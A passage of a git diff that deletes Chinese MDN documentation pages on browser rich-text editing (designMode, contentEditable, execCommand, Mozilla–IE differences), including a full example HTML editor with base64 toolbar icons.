fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
-<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
-<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
-<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
-<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
-<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
-<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
-<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
-<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
-<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
-<img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
-<img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
-<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
-<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
-<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
-<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
-</div>
-<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
-<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
-<p><input type="submit" value="Send" /></p>
-</form>
-</body>
-</html>
-
-
- -
注意: 如果你想知道如何标准的在你的页面中创建和插入编辑器,请查阅 更多完整的富文本编辑器例子.
- -

相关链接

- -
    -
  • {{domxref("HTMLElement.contentEditable")}}
  • -
  • 全局属性 {{htmlattrxref("contenteditable")}} 
  • -
  • Midas (支持脚本的文本编辑器组件)
  • -
  • {{cssxref("caret-color")}}, 用来设置文本插入光标的颜色
  • -
diff --git a/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html deleted file mode 100644 index f237e94b61..0000000000 --- a/files/zh-cn/web/guide/html/content_editable/rich-text_editing_in_mozilla/index.html +++ /dev/null @@ -1,272 +0,0 @@ ---- -title: Mozilla中的富文本编辑器 -slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla -tags: - - 富文本 - - 指南 -translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla ---- -

Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

- -

配置富文本编辑

- -

富文本编辑通过设置文档的 "designMode" 属性为 "On" 来初始化。一旦 designMode 设置为 "On" ,该文档即成为用户能够按使用 textarea 方式操作的富文本编辑区域。复制和粘贴等最基础的键盘操作可用,而其它命令则需通过站点实现。

- -

类似地,将 "contentEditable" 属性设置为 "true" 后,用户能够将文档中的独立元素设置为可编辑的。

- -

执行命令

- -

当 HTML 文档切换至 designMode 时,文档对象将暴露出 "document.execCommand" 方法,允许用户运行命令以操作可编辑区域的内容。多数命令影响文档的选中区域(加粗、斜体等),而其余命令则可插入新元素(添加新行)或影响整行(缩进)。当使用 contentEditable 时,调用 execCommand 将影响当前活跃的可编辑元素。

- -

与 IE 区别

- -

Mozilla 与 IE 在 designMode 下的一个显著区别在于可编辑区域中所生成的代码。在 IE 中使用 em 与 i 等 HTML 标签,而 Mozilla 则默认生成带有内联样式规则的 span 标签。可通过 styleWithCSS 命令以在 CSS 与 HTML 标记中切换。

- -

Figure 1 : 生成 HTML 的区别

- -

Mozilla:

- -
<span style="font-weight: bold;">I love geckos.</span>
-<span style="font-weight: bold; font-style: italic;
-    text-decoration: underline;">Dinosaurs are big.</span>
- -

Internet Explorer:

- -
<STRONG>I love geckos.</STRONG>
-<STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG>
-
- -

Mozilla 与 IE 的另一个区别是在与 designMode 结合使用的场景中,其访问 iframe 中文档对象的方式。Mozilla 使用了 W3C 的标准方式,即 IFrameElement.contentDocument,而 IE 则使用了 IFrameElement.document.

- -

DevEdge 提供了一个 JavaScript 辅助工具类,xbDesignMode它封装了 IE 与 Mozilla 之间的 designMode 差异特性。

- -


- 禁用事件处理

- -

另一额外的区别在于,Mozilla 中一旦切换至 designMode,那么该文档上绑定的全部事件将被禁用。在 designMode 关闭后(如在 Mozilla 1.5 中可用),事件重新可用。

- -

在 Migrate apps from Internet Explorer to Mozilla 中的 Rich text editing 章节可查看更多信息。

- -

示例

- -

示例 1

- -

第一个示例中,将 HTML 文档中的 designMode 设置为 "On"。在 Mozilla 1.3 中这将使整篇文档均可编辑。但在 IE 中并不支持通过 JavaScript 改变文档的 designMode 特性。需要兼容 IE 时,body 标签中的 contentEditable 属性需要设置为 "true"。

- -

Figure 2 : 第一个示例

- -
HTML:
-<body contentEditable="true" onload="load()">
-
-JavaScript:
-function load(){
-  window.document.designMode = "On";
-}
- -

示例 2

- -

第二个示例是一个支持文本加粗、斜体、下划线,以及添加链接、改变文本颜色等特性的富文本编辑页面。示例页面带有一个作为富文本编辑区域的 iframe 区域,以及用于实现基础编辑命令的加粗、斜体、文本颜色等编辑元素。

- -

Figure 3 : 配置富文本编辑

- -
HTML:
-<body onload="load()">
-
-JavaScript:
-function load(){
-  getIFrameDocument("editorWindow").designMode = "On";
-}
-//获取对象
-function getIFrameDocument(aID){
-  // if contentDocument exists, W3C compliant (Mozilla)
-  if (document.getElementById(aID).contentDocument){
-    return document.getElementById(aID).contentDocument;
-  } else {
-    // IE
-    return document.frames[aID].document;
-  }
-}
-
- -

该示例包含了 doRichEditCommand 函数以简化对 iframe 的命令操作,并保持 HTML 代码的整洁。执行所需命令的函数使用了 execCommand() 并将焦点设回可编辑文档,以避免点击按钮等操作时的焦点设置打断编辑流程。

- -

Figure 4 : 执行富文本编辑命令

- -
HTML:
-<button onclick="doRichEditCommand('bold')" style="font-weight:bold;">B</button>
-
-JavaScript:
-function doRichEditCommand(aName, aArg){
-  getIFrameDocument('editorWindow').execCommand(aName,false, aArg);
-  document.getElementById('editorWindow').contentWindow.focus()
-}
- -

示例:一个简易但完整的富文本编辑器

- -
<!doctype html>
-<html>
-<head>
-<title>Rich Text Editor</title>
-<script type="text/javascript">
-var oDoc, sDefTxt;
-
-function initDoc() {
-  oDoc = document.getElementById("textBox");
-  sDefTxt = oDoc.innerHTML;
-  if (document.compForm.switchMode.checked) { setDocMode(true); }
-}
-
-function formatDoc(sCmd, sValue) {
-  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
-}
-
-function validateMode() {
-  if (!document.compForm.switchMode.checked) { return true ; }
-  alert("Uncheck \"Show HTML\".");
-  oDoc.focus();
-  return false;
-}
-
-function setDocMode(bToSource) {
-  var oContent;
-  if (bToSource) {
-    oContent = document.createTextNode(oDoc.innerHTML);
-    oDoc.innerHTML = "";
-    var oPre = document.createElement("pre");
-    oDoc.contentEditable = false;
-    oPre.id = "sourceText";
-    oPre.contentEditable = true;
-    oPre.appendChild(oContent);
-    oDoc.appendChild(oPre);
-  } else {
-    if (document.all) {
-      oDoc.innerHTML = oDoc.innerText;
-    } else {
-      oContent = document.createRange();
-      oContent.selectNodeContents(oDoc.firstChild);
-      oDoc.innerHTML = oContent.toString();
-    }
-    oDoc.contentEditable = true;
-  }
-  oDoc.focus();
-}
-
-function printDoc() {
-  if (!validateMode()) { return; }
-  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
-  oPrntWin.document.open();
-  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
-  oPrntWin.document.close();
-}
-</script>
-<style type="text/css">
-.intLink { cursor: pointer; }
-img.intLink { border: 0; }
-#toolBar1 select { font-size:10px; }
-#textBox {
-  width: 540px;
-  height: 200px;
-  border: 1px #000000 solid;
-  padding: 12px;
-  overflow: scroll;
-}
-#textBox #sourceText {
-  padding: 0;
-  margin: 0;
-  min-width: 498px;
-  min-height: 200px;
-}
-#editMode label { cursor: pointer; }
-</style>
-</head>
-<body onload="initDoc();">
-<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
-<input type="hidden" name="myDoc">
-<div id="toolBar1">
-<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option selected>- formatting -</option>
-<option value="h1">Title 1 &lt;h1&gt;</option>
-<option value="h2">Title 2 &lt;h2&gt;</option>
-<option value="h3">Title 3 &lt;h3&gt;</option>
-<option value="h4">Title 4 &lt;h4&gt;</option>
-<option value="h5">Title 5 &lt;h5&gt;</option>
-<option value="h6">Subtitle &lt;h6&gt;</option>
-<option value="p">Paragraph &lt;p&gt;</option>
-<option value="pre">Preformatted &lt;pre&gt;</option>
-</select>
-<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- font -</option>
-<option>Arial</option>
-<option>Arial Black</option>
-<option>Courier New</option>
-<option>Times New Roman</option>
-</select>
-<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- size -</option>
-<option value="1">Very small</option>
-<option value="2">A bit small</option>
-<option value="3">Normal</option>
-<option value="4">Medium-large</option>
-<option value="5">Big</option>
-<option value="6">Very big</option>
-<option value="7">Maximum</option>
-</select>
-<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- color -</option>
-<option value="red">Red</option>
-<option value="blue">Blue</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- background -</option>
-<option value="red">Red</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-</div>
-<div id="toolBar2">
-<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
-<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
-<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
-<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
-<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
-<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
-<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
-<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
-<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
-<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
-<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
-<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
-<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
-<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
-<img class="intLink" title="Add indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
-<img class="intLink" title="Delete indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
-<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
-<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
-<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
-<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
-</div>
-<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
-<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
-<p><input type="submit" value="Send" /></p>
-</form>
-</body>
-</html>
- - - -

注意: 如果你想查看如何将创建与插入编辑器至页面的流程标准化的内容,请查看 more complete rich-text editor example.

- -

相关资源

